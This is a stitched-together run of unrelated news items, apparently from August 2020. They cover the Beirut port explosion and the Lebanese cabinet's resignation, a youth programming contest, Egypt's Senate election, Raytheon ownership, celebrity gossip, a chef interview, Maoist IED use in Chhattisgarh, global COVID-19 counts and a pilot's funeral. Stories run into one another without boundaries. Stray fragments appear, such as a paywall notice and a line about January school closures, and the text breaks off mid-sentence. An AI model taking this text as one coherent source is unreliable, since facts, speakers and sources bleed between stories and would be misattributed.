The incident also sparked panic over wheat shortages after 15,000 tonnes of grains were blasted out of the silos. Lebanon's president has said that explosive materials were stored unsafely at the port for years. He said that an investigation would reveal whether the cause was external interference and negligence or just an accident. The president said on August 7 that there are two possible scenarios for the incident, it was either foreign interference through a bomb or missile or negligence. In 2013, the shipment of the ammonium nitrate sailed on the cargo ship Rhosus, it was officially destined for Mozambique, however, the vessel made an unscheduled stop in Beirut where the chemicals were left for 6 years. Related Article: Protesters Storm Beirut Streets Calling for Justice Over Deadly Blast @ 2022 HNGN, All rights reserved. Do not reproduce without permission. China final of international youth programming competition ends By:Huang Qingyang, Zheng Qian | From:english.eastday.com | 2020-08-11 11:17 On August 8th, the China final of the second ICode International Youth Programming Competition was held in Shanghai Thomas School in Putuo District. 400 competitors among nearly 30,000 entrants qualified for the final, by not only showing their ability in programming but also their passion and perseverance. The second Icode Forum on artificial intelligence and science and education innovation was also held in the school at the same time. Technological innovation leads to a brighter future, while programming education can be a source of power motivating that innovation.. The development of artificial intelligence has brought a new subject for education and programming ability as well as computational thinking have become a crucial part of education within science and technology. The contestants of this competition all show great interest in programming. According to some teachers, these students do not regard programming as an assignment. From their perspective, the innovation their own programminghas created is reward in itself for their passion and devotion to this field. As a non-profit organization, ICode is devoted to promoting programming education for teenagers around the globe through holding international competitions to make sure every kid has free access to learning programming. According to the competition committee, every contestant who has made it to the final round will receive a prize, which not only promotes their will to keep making progress but offers them great encouragement as well.We will keep organizing such meaningful events in the future and let more kids throughout the world learn more about computer programming via ICode platforms and keep in touch with all the contestants worldwide , said the committee spokesperson. As a part of warm-up activities for the 2020 Science and Technology Festival in Putuo District, this competition has gained huge support from the committee of science and technology in the local district. The festival will also provide a series of other events in August to further demonstrate its current achievements in technological innovation, which contributes to the promotion of science in this district. Source: Xinhua| 2020-08-11 12:32:28|Editor: huaxia Video Player Close WASHINGTON, Aug. 10 (Xinhua) -- China's nuclear power is not at the same level as that of the United States and Russia, and it is not yet the right timing for China to join their nuclear disarmament talks, Chinese Ambassador to the United States Cui Tiankai has said. "All over the world, the United States and Russia have the largest nuclear arsenal ... this is international consensus. So they should take the lead in international nuclear disarmament," said Cui in an online interview with Nicholas Burns, executive director of the Aspen Strategy Group, and Andrea Mitchell, chief foreign affairs correspondent of NBC News, while attending the 2020 Aspen Security Forum on Aug. 4. "China has a very small amount of nuclear weapons. It's not at the same level. We are far behind the U.S. and Russia," Cui said. Only when the United States is ready to reduce its arsenal to the size of China's can both sides begin real negotiation, he said, adding, "I hope we could be given a very convincing answer." Noting that the United States and Russia are having "very important negotiations" on some existing nuke control treaties, such as the New Strategic Arms Reduction Treaty, Cui said the treaties are "extremely important for international strategic stability." "We hope these treaties could continue," he said. Enditem Egypt votes for new Senate Election until tomorrow; nearly all candidates support Sisi (ANSAmed) - CAIRO, AUGUST 11 - Elections for the Senate, the second house of parliament which was reintroduced by constitutional reforms approved last April, are ongoing in Egypt. As reported by Egyptian media outlets including the newspaper Al Ahram, 63 million voters can vote at the country's 14,000 polling stations until tomorrow. Egyptian President Abdel Fatah Al Sisi voted in a school in Cairo's district of Heliopolis at 9 am, when it opened. The results will be announced on August 19 and a runoff has been scheduled in September. Premier Moustafa Madbouly urged Egyptians to vote to ''strengthen democracy'' and ''enrich the political life in Egypt''. A political science professor at the University of Cairo, Moustapha Kamel al-Sayyed, instead said that this elections could at the most ''be helpful to compensate those supporting Sisi'', according to the AFP news agency, stressing that candidates are essentially supporters of the head of State. Two-thirds of the 300 who will be elected are chosen among single candidatures and blocked party lists while the remaining candidates are directly picked by Sisi, whose administration has crushed Islamist and secular members of the opposition. Egypt has been classified as ''not free'' by American NGO Freedom House. The opinion of the future Senate, whose members are voted for a five-year-mandate, is non-binding. (ANSA). Every investor in Raytheon Technologies Corporation ( NYSE:RTX ) should be aware of the most powerful shareholder groups. Insiders often own a large chunk of younger, smaller, companies while huge companies tend to have institutions as shareholders. We also tend to see lower insider ownership in companies that were previously publicly owned. Raytheon Technologies has a market capitalization of US$96b, so it's too big to fly under the radar. We'd expect to see both institutions and retail investors owning a portion of the company. In the chart below, we can see that institutions own shares in the company. Let's take a closer look to see what the different types of shareholder can tell us about Raytheon Technologies. See our latest analysis for Raytheon Technologies What Does The Institutional Ownership Tell Us About Raytheon Technologies? Many institutions measure their performance against an index that approximates the local market. So they usually pay more attention to companies that are included in major indices. Raytheon Technologies already has institutions on the share registry. Indeed, they own a respectable stake in the company. This suggests some credibility amongst professional investors. But we can't rely on that fact alone, since institutions make bad investments sometimes, just like everyone does. It is not uncommon to see a big share price drop if two large institutional investors try to sell out of a stock at the same time. So it is worth checking the past earnings trajectory of Raytheon Technologies, (below). Of course, keep in mind that there are other factors to consider, too. Institutional investors own over 50% of the company, so together than can probably strongly influence board decisions. Raytheon Technologies is not owned by hedge funds. Our data shows that The Vanguard Group, Inc. is the largest shareholder with 8.5% of shares outstanding. State Street Global Advisors, Inc. is the second largest shareholder owning 8.4% of common stock, and BlackRock, Inc. holds about 6.6% of the company stock. Story continues Our studies suggest that the top 25 shareholders collectively control less than half of the company's shares, meaning that the company's shares are widely disseminated and there is no dominant shareholder. While studying institutional ownership for a company can add value to your research, it is also a good practice to research analyst recommendations to get a deeper understand of a stock's expected performance. There are plenty of analysts covering the stock, so it might be worth seeing what they are forecasting, too. Insider Ownership Of Raytheon Technologies The definition of company insiders can be subjective, and does vary between jurisdictions. Our data reflects individual insiders, capturing board members at the very least. The company management answer to the board; and the latter should represent the interests of shareholders. Notably, sometimes top-level managers are on the board, themselves. I generally consider insider ownership to be a good thing. However, on some occasions it makes it more difficult for other shareholders to hold the board accountable for decisions. Our information suggests that Raytheon Technologies Corporation insiders own under 1% of the company. It is a very large company, so it would be surprising to see insiders own a large proportion of the company. Though their holding amounts to less than 1%, we can see that board members collectively own US$90m worth of shares (at current prices). Arguably recent buying and selling is just as important to consider. You can click here to see if insiders have been buying or selling. General Public Ownership The general public, with a 23% stake in the company, will not easily be ignored. This size of ownership, while considerable, may not be enough to change company policy if the decision is not in sync with other large shareholders. Next Steps: It's always worth thinking about the different groups who own shares in a company. But to understand Raytheon Technologies better, we need to consider many other factors. Like risks, for instance. Every company has them, and we've spotted 5 warning signs for Raytheon Technologies (of which 2 are significant!) you should know about. But ultimately it is the future , not the past, that will determine how well the owners of this business will do. Therefore we think it advisable to take a look at this free report showing whether analysts are predicting a brighter future . Jessica Laliberte Bowman, a Chattanooga choreographer and teacher for Hamilton County Schools, is one of 21 artists selected internationally to join Curriculum in Motion Institute, a yearlong professional development program for choreographers at Jacob's Pillow. Motivated by a desire to make new dances with young artists, Ms. Bowman co-developed the Student Choreography Project at Chattanooga Center for Creative Arts, where she is on dance faculty. Jacob's Pillow is one of the field's most prestigious professional dance training centers and has been recognized as a 'hub and mecca of dancing' in TIME Magazine and 'the dance center of the nation' in The New York Times. Jacob's Pillow is a national historic landmark, recipient of the National Medal of Arts and home to America's longest-running international dance festival. "I am honored and humbled by this opportunity to work with the CIM Institute," said Ms. Bowman. "To work with Jacob's Pillow truly is a dream realized as a choreographer and dance educator, and I cannot wait to deepen my practice, broaden my skill set and share what I learn with my students and community."Officials said, "The Curriculum in Motion Institute is a highly specialized professional development experience for choreographers that examines and explores how dance makers are essential artistic, civic and community partners in a COVID-19 world and beyond. The Institute, led by Curriculum in Motion Co-Founder Celeste Miller and Founding Artists Kimberli Boyd and Michael Richter. Curriculum in Motion uses body-based practices and uses an approach that embraces dance as an accessible, complex system of physical, mental, emotional, creative and spiritual knowledge rooted in body-based intelligence. It directly supports the work of dance makers in K-12 classrooms, museums and after-school programs. Institute participants gain access to a meaningful network and may apply to join the esteemed roster of Curriculum in Motion Artists.""Being a part of this intimate cohort of artists from as far away as Mumbai, India and from cities across the United States, I am excited to represent Hamilton County Schools and the state of Tennessee," Ms. Bowman said. "I believe that equitable access to the arts is a powerful vehicle for building community."Ms. Bowman holds a bachelor's in dance from Columbia College Chicago and has spent 15 years collaborating with community organizations. She is recognized for having a unique ability to see obstacles as stepping-stones that helps her build community. The last five years of her career have focused on teaching dance standards through interdisciplinary arts and literacy, writing curriculum and presenting her work at conferences for artists and educators. Ms. Bowman served on the board of directors for the TN Association of Dance for a decade and most recently sat on the Arts Advisory Focus Group for the TN Department of Education's re-opening guidelines for Arts Education.Over the next 12 months, Ms. Bowman looks forward to diving deeper into the creative process, cultivating relationships with new colleagues and forging new partnerships in the Chattanooga community. In July of 2021, she will travel to Jacob's Pillow in Becket, Ma., to present her Curriculum in Motion Institute Capstone Project. Bachelor in Paradise star Helena Sauzier flaunted her slim physique while relaxing on the beach in a navy bikini. Posting to Instagram on Tuesday, the 25-year-old reality star showed off her taut torso and slender legs. 'Holding out for days like these. Not long now,' she captioned the snap. Soaking up the sun: Posting to Instagram on Tuesday, Helena Sauzier (pictured) showed off her taut torso and slender legs in a navy bikini In the picture, Helena is seen soaking up the sun while lounging on an orange and white striped towel. The blonde bombshell showed off her natural beauty with minimal makeup and wore her blonde locks loose. Staying sun safe, Helena shaded her face from the sun's harsh rays with a navy cap and sunglasses. Drama: The post comes after Helena became caught up in an alleged cheating scandal with Bachelor in Paradise couple, Glenn Smith and Alisha Aitken-Radburn last week The post comes after Helena was caught up in an alleged cheating scandal with Bachelor in Paradise couple, Glenn Smith and Alisha Aitken-Radburn, last week. Glenn addressed speculation that he cheated on his girlfriend, Alisha, during a rather awkward live radio interview with Hit 107 Adelaide's Bec, Cosi and Lehmo on Monday. Radio host Bec Morse asked Glenn if it was true he had kissed his co-star Helena on a boozy night out in December, and he acknowledged that it was. The truth: Glenn (right) addressed speculation that he cheated on his girlfriend, Alisha (left), during a live radio interview with Hit 107 Adelaide's Bec, Cosi and Lehmo on Monday 'Look, I'm not going to deny it. It actually did happen. Me and Alisha worked through it at the time. That was nine months ago... and it's not really relevant now,' he said. The revelations about Glenn first surfaced on Friday, when the So Dramatic! podcast claimed that he and Alisha had both 'hooked up' with different people shortly after leaving Fiji. 'Glenn was at a bucks' party in Perth, and met up with Helena at a club and they ended up kissing a couple of times that night,' the podcast host said. Alisha then 'hooked up' with another Bachelor in Paradise star, Scott Fuller, before she and Glenn 'called it even' and reconciled. remaining of Thank you for reading! On your next view you will be asked to log in to your subscriber account or create an account and subscribepurchase a subscription to continue reading. Is it possible for someone to feel like a family member, even when you have never met them in person? Well, maybe only if that person is anything like Chef Sanjeev Kapoor. Having hosted Khana Khazana - the most successful and longest running cooking show in all of Asia - for 20 years, Sanjeev has touched millions of lives through his recipes, his professionalism and most importantly, the extremely friendly nature that enabled him to inspire over three generations of culinary enthusiasts. During the launch of TATA Sampann Spices marketing campaign #SpiceUpYourHealth, we got in touch with the pioneering celebrity chef himself and talked about his story of exploring uncharted territory as an Indian male chef, overcoming the stereotypes that came with it and more. The Beginning Of The Khana Khazana Journey: When we started shooting Khana Khazana in the early 1990s, I had to unlearn most of what was taught to me during my Hotel Management course in Delhi. The idea (behind the show) was to create simple yet complicated-looking dishes for our viewers to try out and that would make the person eating it go wow, he told us. So, I started talking to common people, trying to understand what kind of dishes would work out the most. The unlearning process became extremely important in order to have a good teacher-student relationship with the audience. On Creating A Familial Relationship With The Viewers: I remember, during one of my first live shows in Chandigarh, there was this old lady who stood up and said main pehle kabhi mili nahi aapse lekin aap itne apne se kaise lagte ho? (I have never met you before but what do you feel so familiar?), so I think it is the sincerity or the fact that I stay true to my audience and probably that is why they can relate, he said. To give you an example, I was shooting an episode for the show and while cooking a dish, I accidentally spilt something over the kitchen counter. But when that episode was televised, I noticed that that shot was edited out. So, the next time when something of this sort happened, I stopped the shoot and specifically told the director to not remove it from the final cut. What I was doing in that studio was real and I wanted the people to see that even someone like me can make mistakes, and it was perfectly normal. Overcoming The Stereotype Of Being An Indian Male Chef: When I chose this career, thankfully, there was no resistance from my family. Resistance came from the society, from my school friends and people who lived nearby who thought I had gone completely crazy, Sanjeev says. They used to tell me that I was a good boy who was good at studies, but I always knew that I had to do something different. Now, did that resistance make me anxious? Not really. In fact, I got more resolute. Over the years that is how I have learnt to cope with challenges and I would like to believe that is how I have achieved success in my life. When people call me stupid or say that I have lost it, I smile at them and say to myself chalo, dikhata hun main sabko!. Was There A Sense Of Fear While Following Passion: "There always is a little bit of fear lingering around when you decide to go against the norm and do something different. Fear of failure, fear of not doing well, fear of peer-pressure, they are always there. What you do with that fear, thats what matters. What I do with it is that I dive deep into whatever it is thats making me afraid and I do it in spite of what people tell me. At the same time, I would also clarify that I have the courage to stand out but I am not stupid. In the name of facing my fears I wont do something detrimental to my life." Transition From Delhi To Mumbai: "Honestly, over the years, I havent felt that difference between Mumbai and Delhi that people often talk about. If I have to differentiate between the two, I would say that there is far more discipline in Mumbai as compared to the north. People are more docile here (Mumbai). I often joke about it with my close friends. About four-five years ago I met somebody in Delhi. We were sitting in his car and the first thing he asked me was Kapoor sahab, Bombay vich rehnde kithe ho? (Mr. Kapoor, where in Mumbai do you live? and I instantly knew where this conversation was going. He was trying to judge where I used to live. I simply told him ghar mein, he said laughing. What was supposed to be an absolutely serious and professional interview, ended on a laughing note and it was once again Chef Sanjeev Kapoor who played the part of the entertainer. Thats the kind of person he is. Jolly and big on sharing his personal experiences. Maybe thats another reason why he feels like family. A 19-year-old from Australia who was left with a 'face like a rectangle' after undergoing a cosmetic procedure to dissolve fat in her jaw has shown off her new look seven weeks later. Sofia Marroquin went viral around the world in June after having the $500 'Kybella treatment', which uses injections to reduce fat under the chin. The treatment typically results in temporary swelling that usually dies down within eight weeks. Sofia experienced the swelling immediately after undergoing the procedure. BEFORE: A 19-year-old from Australia was left with a 'face like a rectangle' after a $500 cosmetic procedure, which uses injections to reduce fat under the chin NOW: Sofia Marroquin, 19, showed off her face seven weeks after the treatment, which can result in some swelling for several weeks BEFORE: Sofia said she had a 'really fatty' jaw before, which is why she wanted the treatment done (pictured before the treatment) 'Week seven update - one more week until absolute final results,' Sofia captioned a new video uploaded to her TikTok page this week. In the new clip, the 19-year-old shared a series of progress shots of her rectangular face after the treatment, as well as a photo of how her face looks now. She also shared some of the insults that were thrown at her during this time, including 'You look like Spongebob' and 'You look like a man'. Some even said her face looked 'botched'. 'Week seven update - one more week until absolute final results,' Sofia captioned a new video uploaded this week (pictured during the process of the swelling dying down) She also shared some of the insults that were thrown at her during this time, including 'You look like Spongebob' and 'You look like a man' (pictured) With one week to go until the final results, in her new video Sofia's face is entirely slimmed and she has a defined jawline and chin. 'I'm so happy for you girl! You trusted the process and it worked out,' one commenter wrote. 'Shows that patience goes a long way. What an incredible result,' another added. While Sofia admitted in the comments section of her video that her chin is still sensitive to touch, she did say she is delighted with the results: 'It's so worth it,' the 19-year-old posted. What is the 'Kybella treatment'? Kybella is a nonsurgical injection technique used to reduce excess fat beneath the chin (Sofia pictured after the treatment) * Kybella is a nonsurgical injection technique used to reduce excess fat beneath the chin. * Each treatment takes about 15 to 20 minutes. It uses a synthetic form of deoxycholic acid. * No incisions are required, and the downtime is minimal in most cases, with some swelling to be expected. * The best candidate is an adult 18 years or older with moderate to severe fat beneath the chin. * As a nonsurgical procedure, there is little preparation required for Kybella. It's advisable to schedule the procedure well before any major events. * Though Kybella is nonsurgical, some common side effects include pain, swelling, bruising, redness, and numbness. * The recovery process associated with Kybella is minimal in most cases, and downtime varies from person to person. Minor side effects typically subside in one to two weeks. Source: Healthline Advertisement While the 19-year-old admitted that her chin area is still sensitive to touch, she also said that it is 'worth it' (pictured over the past few weeks) Sofia first went viral at the end of June, when she shared another clip of her 'rectangular face' and filmed her family's reactions. 'So just got some lovely needles into my face and my family has no idea what I've just done and I'm about to get their reactions,' Sofia said in the video. She then proceeded to move through her home, filming her mum and dad's shocked reactions. Sofia's dad audibly gasped when he saw his daughter and said 'oh my goodness', while her mother sighed: 'Oh Sofia'. The 19-year-old's sister burst out laughing and fell to the floor, while her best friend covered her mouth as Sofia joked 'I'm scared'. Sofia even filmed her local cafe owner's nonplussed reaction, as she tried to order a coffee. Sofia first went viral at the end of June, when she shared another clip of her 'rectangular face' and filmed her family's reactions (her father's reaction pictured) Sofia filmed both her father and mother's (pictured) shocked reactions, when her mother sighed: 'Oh Sofia' In a subsequent video, Sofia explained that her rectangular jawline was caused by temporary swelling following a 'Kybella treatment'. In this $500 treatment, injections are used to reduce fat under the chin. 'Okay, lots of people are confused as to why I made my face look like a rectangle,' Sofia said. 'I didn't purposefully make my face look like a rectangle. I got a treatment done called Kybella, which removes fat from the lower part of your face. 'Lots of people get it in the lower neck area to remove a double chin, but I got it in my jowls area.' Sofia said her area was 'really fatty' and covering up her jawline, which is why she wanted the treatment done. 'I wanted to remove that fat a little bit to make it look a little bit better,' she said. Ejaz Kaiser By Express News Service RAIPUR: The ammonium nitrate that resulted into catastrophic blast in Lebanon, is often used by the outlawed CPI (Maoist) in Chhattisgarh to detonate Improvised Explosive Devices (IEDs) that continues as a big challenge for security forces deployed in the conflict zone for the past two decades. Seventy-six personnel were massacred by Maoists in April 2010, 29 Congressmen died in ambush in May 2013, Doordarshan cameraman killed in 2018, BJP MLA died in IED planted by the rebels in 2019 ahead of Lok Sabha polls. Similar such incidents are indicative of extensive use of IED explosions by ultras turning the strife-torn Bastar on edge in south Chhattisgarh. Blowing up of the IEDs are almost always followed by exchange of fire with the forces leading to causalities. The law enforcing agencies affirmed that despite the Maoist-related incidents now on a declining trend, the strenuous challenge and task to effectively counter IED threats persist in any operation. The problem becomes exacerbated in the virtual war zone of Bastar, south Chhattisgarh, where the Maoist Brigade remains most active, waging the battle against the forces and state for the past three decades. "Ammonium Nitrate is most commonly used explosive material in IED's by Maoists. IED remains one of the main challenges the security forces encounter while countering the left wing extremists in Bastar region. We not only lost hundreds of our brave soldiers but many innocent civilians including women, children and even cattle were killed in the IED explosions," said Sunderraj P, inspector general of police (Bastar zone). Every year on an average there are over 60 incidents of IED explosions in Bastar. "Since 2016 till date, we have recovered 1268 IED's that were defused safely," the IG added. Maoists in the past succeeded in getting hold of ammonium nitrate in big ways. In 2010 they looted around 16 tonnes of it from a truck which was on its way from Visakhapatnam to Chhattisgarh. Again in 2013 the rebels intercepted the chemical-laden lorry proceeding tor a industrial plant in Raipur from Vishakhapatnam. Similar incidents then led to strong apprehensions about the stolen explosives might be used by the outlawed to trigger landmine blasts. Chhattisgarh state consequently evolved a strong mechanism to prevent any kind of pilferage of explosive materials. Stern action are being taken against those found in illegal possession, transports or using the explosive materials, Sunderraj stated. The Centres notification issued in 2011 cited ammonium nitrate, if in any combination containing more than 45 per cent of it by weight, including emulsions, suspensions, melts or gels shall be deemed to be an explosive under the Explosive Act 1884. IED is the easiest weapon for Maoists who always look for soft options to target," asserted Brigadier (retired) B K Ponwar, a jungle warfare expert. Ever since the Chhattisgarh carved out as a separate state in November 2000, there has been over 1100 IED blasts in the districts worst affected by the presence of left-wing extremism. The powerful detonation of these IEDs claimed the lives of hundreds of security personnel besides the civilians too. (See Table). The IEDs recovered recovered doubled during the span of last decade from 938 detected during 20012010 to a total of 1918 traced from 2011 till June 2020. The Army apprehended three suspects and recovered arms and ammunition from their possession in Jammu and Kashmirs Kupwara on Monday. An Indian Army spokesperson said that a joint search operation was launched along with Jammu and Kashmir Police late on Monday night in which one AK rifle and two pistols with magazines were recovered from the three suspects. The joint operation is in progress, the spokesperson further said. Jammu and Kashmirs Director General of Police Dilbag Singh had said last week that Pakistan has adopted a new technique of sending arms and ammunition to the union territory by using unmanned aerial vehicles (UAVs). He had further said that such incidents of Pakistani UAVs carrying weapons were detected in Kupwara, Heera Nagar, Kathua and Rajouri. Another modus operandi of Pakistan to dispatch weapons through trucks to Jammu and Kashmir was unearthed in Punjab in the past, he said. The top cop had further said that due to sustained anti-militancy operations, the security forces have been able to curtail the number of active militants in Jammu and Kashmir to less than 200 now from 300 to 350 terrorists a few years ago. Singh said that there were 76 casualties and 107 injuries in the security forces in first seven months of 2019 in Jammu and Kashmir, while there were just 36 casualties and 102 injuries in the security forces in the same period in 2020. Terror incidents were also down by 70 per cent - from 198 in first seven months of 2019 to 124 in the same period in 2020, the DGP had said. - Prime Minister Hassan Diab was among Lebanese government officials who resigned on Monday - President Michel Aoun accepted the resignation but asked the prime minister's team to stay on a caretaker capacity before appointment of a new Cabinet - The resignations came amid violent anti-government protests that saw the military and police engage rioters in running battles - The international community has pledged economic support to Lebanon to help the country recover from economic turmoil - Section of Kenyans whose lives were ruined by the Tuesday, August 4, blast have sustained calls for Nairobi to fly them back home Lebanon prime minister Hassan Diab on Monday, August 10, announced the resignation of the entire Cabinet. Diab's announcement came hardly a week after the Tuesday, August 4, devastating blast in the capital Beirut that injured thousands, killed over 150 and left thousands homeless. READ ALSO: Kenyan newspapers review for August 11: Meru, Nyeri and Kirinyaga listed among Kenya's richest counties after Nairobi Lebanon Prime Minister Hassan Diab. He attributed the Beirut blast to deeply rooted corruption in Lebanon. Photo: Daily Nation. Source: Facebook READ ALSO: Donald Trump whisked away from press briefing after shooting near White House Lebanese president Michel Aoun accepted the resignation of the prime minister's government but asked the administration to stay in a caretaker capacity to pave the way for the formation of a new Cabinet. Among those who resigned were Prime Minister Hassan Diab, Justice Minister Marie Claude Najm, Information Minister Manal Abdel Samad and Environment Minister Damianos Kattar. READ ALSO: Spika wa Bunge la Kaunti ya Nairobi Beatrice Elachi ajiuzulu na kumpisha naibu wake Lebanese President Michel Aoun (r) in Baabda when he received Executive Director of WFP David Beasley (l). Photo: General Michel Aoun. Source: Facebook The mass resignations came hot on the heels of heated protests in Beirut where police engaged demonstrators in running battles. Clashes between police and protesters were triggered by the catastrophic blast which plunged the country into a fresh political and economic turmoil at a time it was still reeling under the throes of the COVID-19 pandemic and recession. READ ALSO: Man United vs FC Copenhagen: Bruno Fernandes penalty sends Red Devils to Europa League semis International aid The announcement by Lebanese administration came even as a section of world leaders led by French Republic president Emmanuel Macron convened a virtual meeting and pledged up to KSh 30 billion in humanitarian support. The meeting also roped in officials from the UN. Macron said, "Lebanon's future is being decided now, by Lebanon itself, and with its international partners at its side." READ ALSO: COVID-19: 492 new infections reported, Kenya's count now at 26,928 His administration through Foreign Minister Jean-Yves Le Drian, however, urged Lebanese officials to ensure the help provided to the country was delivered directly to the people. "The aspirations expressed by the Lebanese in terms of reforms and governance must be heard. The priority must be the rapid formation of a government that can live up to the expectations of the people, whose mission will be to meet the main challenges of the country, especially the reconstruction of Beirut and reforms without which the country will plunge into economic, social and political chaos," said Le Drian. US president Donald Trump said his country will also channel "a substantial amount" of aid to Beirut. READ ALSO: Kind-hearted nanny tagged hero after saving boss' child during Beirut explosion Kenyans stranded A section of Kenyans working in Lebanon camped at Nairobi's consulate in Beirut demanding to be airlifted back home. Some of them claimed they had been kicked out of their jobs without pay and could not afford air tickets back home. Do you have a groundbreaking story you would like us to publish? Please reach us through news@tuko.co.ke or WhatsApp: 0732482690. Contact Tuko.co.ke instantly. I was rejected by my father three times- Tony Cruize | Tuko TV. Source: TUKO.co.ke TITLE CHANGED. Details added: first version posted on 11:38 BAKU, Azerbaijan, Aug.11 By Elchin Mehdiyev - Trend: Azerbaijani officials held a meeting with Serbian Deputy Prime Minister, Minister of the Interior and Secretary of the National Security Council of Serbia Nebojsa Stefanovic, who is on a visit to Azerbaijan, Trend reports on August 11. Secretary of the Security Council under the President of Azerbaijan Ramil Usubov, Assistant to the President of Azerbaijan, Head of Foreign Policy Affairs Department of the Presidential Administration Hikmat Hajiyev, Deputy Foreign Minister Araz Azimov and Azerbaijani Ambassador to Serbia Eldar Hasanov participated in the meeting. The sides discussed the current state of Azerbaijani-Serbian relations, exchanged opinions on the prospects for the development of bilateral cooperation in various fields, including politics and security, as well as on future joint steps in this direction. Stressing the existence of regular political dialogue and friendly relations between the heads of two states, the parties noted that there is great potential for the further development of comprehensive cooperation between the two countries. The parties expressed satisfaction with the close cooperation between Azerbaijan and Serbia within the framework of international organizations, pointing out the importance of supporting the principles of territorial integrity and inviolability of borders. The sides also exchanged opinions on other issues of mutual interest. These are the schools that have canceled classes for Jan. 18 Some school districts across the county are virtual today. Others will make up the snow day. Bengaluru, Aug 12 : Violent protests broke out in eastern Bengaluru late on Tuesday over a "derogatory message" posted by a politician's relative on social media. A mob gathered outside Congress legislator Akanda Srinivas Murthy's house where they shouted slogans against the post and also resorted to arson. Murthy, the legislator from Pulikeshinagar, posted a video on social media asking the protesters to stay calm. "Please don't resort to violence over the mischievous work of some miscreants," he appealed. A large mob was also seen opposite the Kadugondanahalli police station in the city. (CNN) The world has reached the grim milestone of 20 million confirmed coronavirus cases and is edging closer to 750,000 deaths globally, according to figures from Johns Hopkins University. Case numbers have soared exponentially since the first were reported in China in December. The world recorded one million cases more than three months later, on April 2. The tally hit 10 million cases less than three months after that, on June 28, and it has taken just six weeks to double. The seven-day average for new daily cases has been above a quarter of a million for two weeks. The rise in cases remains driven in large part by the region of Latin America and the Caribbean, as well as by Asia, where cases are growing again, according to the JHU figures. Death rates remain highest in the former. Brazil has recorded more than three million cases and 100,000 deaths, second only to the United States, which is by far the worst affected country with more than five million cases and 160,000 deaths. India has the third-highest number of cases at more than two million, reaching the milestone just three weeks after hitting one million. The country is struggling to cope with the fast-growing outbreak, with critically ill patients turned away from hospitals that lack beds, staff and equipment. However, India's mortality rate remains relatively low, according to JHU data. India has around three deaths per 100,000 or just over 44,000 in total, compared with almost 67 deaths per 100,000 or more than 46,000 in the United Kingdom, which has the highest mortality rate of the top 20 most affected countries. The UK is among several European countries that are seeing new infection clusters amid fears of a second wave. Stay-at-home orders have been put in place in parts of northern England where outbreaks were identified. The UK recorded 1,113 new cases Sunday, taking its total to more than 310,000. Spain saw a rapid increase in case numbers last week, with 4,507 new cases recorded on Friday. Daily figures have reached levels not seen since before it ended its state of emergency on June 21, with the country reporting more than 314,000 cases and 28,000 deaths in total. France's top scientists warned last week that its situation is "fragile" and could "change course at any time to a less controlled scenario like in Spain for example." Paris has introduced compulsory mask-wearing in outdoor areas as national daily cases reached 3,897 Friday -- the highest since May. Belgium has also seen a fresh spike -- its weekly average number of new infections rose 62% in the last week of July compared to the previous week, according to the country's health authorities. Africa confirmed more than one million Covid-19 cases on Friday, according to a CNN tally based on JHU data. South Africa has more than half the continent's reported cases, with more than 550,000 confirmed infections, the fifth highest count worldwide, and more than 10,000 deaths. The World Health Organization (WHO) Regional Director for Africa, Dr. Matshidiso Moeti, warned Thursday that the lack of testing across Africa remains a "constant and concerning challenge." Covid-19 is now spreading among younger people globally, with the proportion of cases among teens and young adults up six-fold, and in young children and babies by seven-fold, WHO said. The increase might be explained by broader testing, greater detection of milder cases and shifting hotspot demographics, but "a rise in risky behavior after easing of public health and social measures" is also to blame, the agency said. "Behind these statistics is a great deal of pain and suffering," said WHO Director-General Tedros Adhanom Ghebreyesus in a news briefing in Geneva on Monday. Tedros highlighted countries such as New Zealand and Rwanda as examples of places that are doing well in the fight against Covid-19. New Zealand celebrated 100 days with no community transmission while Rwanda is seeing progress thanks to similar steps, he said. Testing and treatment are free, people who test positive, and all their potential contacts are visited and tested by health workers. "I know many of you are grieving, and that this is a difficult moment for the world," Tedros said. "But I want to be clear: There are green shoots of hope and no matter where a country, a region, a city or a town it -- it is never too late to turn the outbreak around." Wing Commander Deepak Sathe (retired), pilot-in-command of the Air India Express plane that crashed in Kerala last week, was cremated in Mumbai on Tuesday with state honours. IMAGE: Wife Sushma Sathe, younger son Dhananjay Sathe (blue shirt) and elder son Shantanu (black shirt) pay their last respects to Wing Commander Deepak Sathe (retired) before his cremation at Tagore Nagar (Vikhroli) crematorium in Mumbai. Photograph: Mitesh Bhuvad/PTI Photo Several mourners lined up the road as the funeral procession started from his residence in Chandivli. The last rites were performed at the Tagore Nagar electric crematorium in Vikhroli in presence of some of his relatives. The number of people allowed to attend the last rites was restricted in view of the COVID-19 outbreak. Relatives, friends and others, including Mumbai Mayor Kishori Pednekar, paid floral tributes at his residence before the final procession began. Slogans of "amar rahe" were raised when his body was being taken to the crematorium from the residence. IMAGE: Police personnel pay gun salute to Wing Commander Deepak Sathe (retired) during his funeral ceremony at Tagore Nagar (Vikhroli) crematorium in Mumbai. Photograph: Mitesh Bhuvad/PTI Photo Earlier in the day, Maharashtra Government decided to accord a state funeral to the pilot, and said his life shall inspire young pilots. The flight from Dubai with 190 people, including a six-member crew, overshot the tabletop runway during landing at the Kozhikode airport in heavy rain on Friday, killing 18 people, including both the pilots. Sathe's body was flown on Sunday and was kept at the Air India facility near Terminal 2 of the Chhatrapati Shivaji international airport for some time before being taken to Bhabha Hospital in Bandra. On Tuesday morning, the body was brought from the hospital to the family home in Chandivli. IMAGE: Family members and Air India staff pay homage to Captain Deepak Sathe who died during a crash at Kozhikode International Airport on Friday night, at the airport in Mumbai. Photograph: Mitesh Bhuvad/PTI Photo Residents of the housing complex paid tributes to the pilot. Some were seen saluting him from their balconies. The pilot's father, Colonel Vasant Sathe (retd), 87, and mother Neela, 83, were present at the Chandivli residence. They reside in Nagpur and reached Mumbai on Monday. The pilot's United States-based elder son Shantanu also reached Mumbai on Monday for the last rites. He, along with his mother Sushma and younger brother Dhananjay, were in tears as the last rites were performed shortly after noon. IMAGE: Air India staff members pay tribute to the mortal remains to Air India Express pilot Captain Deepak Sathe, who died during a crash at Kozhikode International Airport on Friday night, at the airport in Mumbai. Photograph: Mitesh Bhuvad/PTI Photo A wreath was placed on behalf of the Indian Air Force, where Sathe was a test pilot before joining Air India. Pilots, cabin crew and others in the aviation sector also participated in the final journey. Share this article Whatsapp Facebook Twitter Linkedin Emma Batha and Naimul Karim (Thomson Reuters Foundation) London, United Kingdom/Dhaka, Bangladesh Tue, August 11, 2020 10:44 526 6657ac82168da9fa101c8a4066d0a10b 2 Business garment-workers,wages,pay-cut,Indonesia,Bangladesh,clothing,labor-law Free Garment workers supplying global fashion brands have been underpaid or not paid at all during the 